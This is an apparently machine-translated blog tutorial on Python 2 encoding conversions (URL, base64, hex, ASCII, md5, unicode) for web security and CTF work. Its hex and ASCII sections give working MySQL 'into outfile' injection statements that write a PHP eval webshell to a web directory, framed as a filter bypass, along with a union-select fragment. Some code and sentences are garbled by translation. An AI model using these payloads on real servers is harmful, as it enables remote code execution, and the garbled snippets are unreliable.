How to convert the codes of python and how to use python

How to convert the codes of python and how to use python

Preface

I remember that when I got started, the problem of self-processing encoding conversion was often "Baidu: url Decoding, base64 encryption, hex ......", Or you can use a software called "xiaokui Multi-Function Conversion Tool" and then directly use the decoder function of Burpsuite. However, there are also some problems: Low online conversion efficiency (2/3 of search time), there are some minor problems with the two tools, such as the Chinese characters involved in the burp are often garbled.

I still use python as my daily coding and conversion tool ......

Start the conversion of py

Url Encoding

Url encoding is a format used by browsers to package form input. It is a most familiar encoding method for web users.

>>> from urllib import *>>> quote("union select null,null,null")'union%20select%20null%2Cnull%2Cnull'>>> unquote("union%20select%20null%2Cnull%2Cnull")'union select null,null,null'>>> urlencode({'x':'2333','y':'666'})'y=666&x=2333'

Base64

Base64 is often used as a parameter for webpage forms and HTTP transmission, and is also used for mail protocol transmission of user information.

>>> import base64>>> base64.b64encode("admin")'YWRtaW4='>>> base64.b64decode('YWRtaW4=')'admin'

I remember that base32 decryption was detected in the ctf competition. Generally, online decryption is not provided for websites, and it seems that there is no way to continue. However, if you use python, it will be as simple as decrypting base64 above. You only need to change the function:

>>> import base64>>> base64.b32encode('jjjjj')'NJVGU2TK'>>> base64.b32decode('NJVGU2TK')'jjjjj'

Hex

Hexadecimal encoding is also a common encoding solution in web applications. As a web security engineer, we are aware that MySQL injection can be bypassed using hex.htmlspecialchars()Function to write data to webshell.

For example:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

The following describes how to implement hex encryption and decryption in python:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')'3c3f70687020406576616c28245f504f53545b615d293b203f3e'>>>>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')<?php @eval($_POST[a]); ?>>>>

ASCii

In MySQLchar()The function converts the ascii Code. For this reason, you can use this feature to bypasshtmlspecialchars()Function.

For example:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

Using python to convert strings to ascii is very simple, but the reverse conversion requires a small operation:

>>> Map (ord, "<? Php phpinfo ()?> ") [60, 63,112,104,112, 32,112,104,112,105,110,102,111, 40, 41, 32, 63, 62] >>> print chr (112) p >>> l = [60, 63,112,104,112, 32,112,104,112,105,110,102,111, 40, 41, 32, 63, 62] >>> print ''. join (map (chr, l) # thanks to the method pointed out by cousin pcat <? Php phpinfo ()?>

Md5

In the web security field, md5 can be said to be completely unknown. With its irreversible nature, most websites often use md5 encryption to store key data such as user passwords. Sometimes we need md5 encryption to submit payload, which can be easily implemented using the following method. Of course, commit 5 is recommended for decryption.

>>> from hashlib import md5>>> m = md5()>>> m.update('this is a secret')>>> m.hexdigest()'7dbbcee180ba4d456e4aa1cfbdad9c7b'>>> m.hexdigest()[8:-8]'80ba4d456e4aa1cf'>>>

Unicode to Chinese

Unicode conversion is common in many cases. Especially during penetration testing. If you use burp, Chinese characters may be garbled, which is very simple to implement in python.

>>> Print u "\ u4f60 \ u9700 \ u8981 \ u91cd \ u65b0 \ u767b \ u9646" You need to log on again

Summary

Python is actually very convenient to use. encoding conversion is just one example. All the encoding conversions mentioned in this article are accumulated by the author. If there are any problems involved, please comment on them. Well, the above is all the content of this article. I hope the content of this article will help you in your study or work. If you have any questions, you can leave a message, thank you for your support.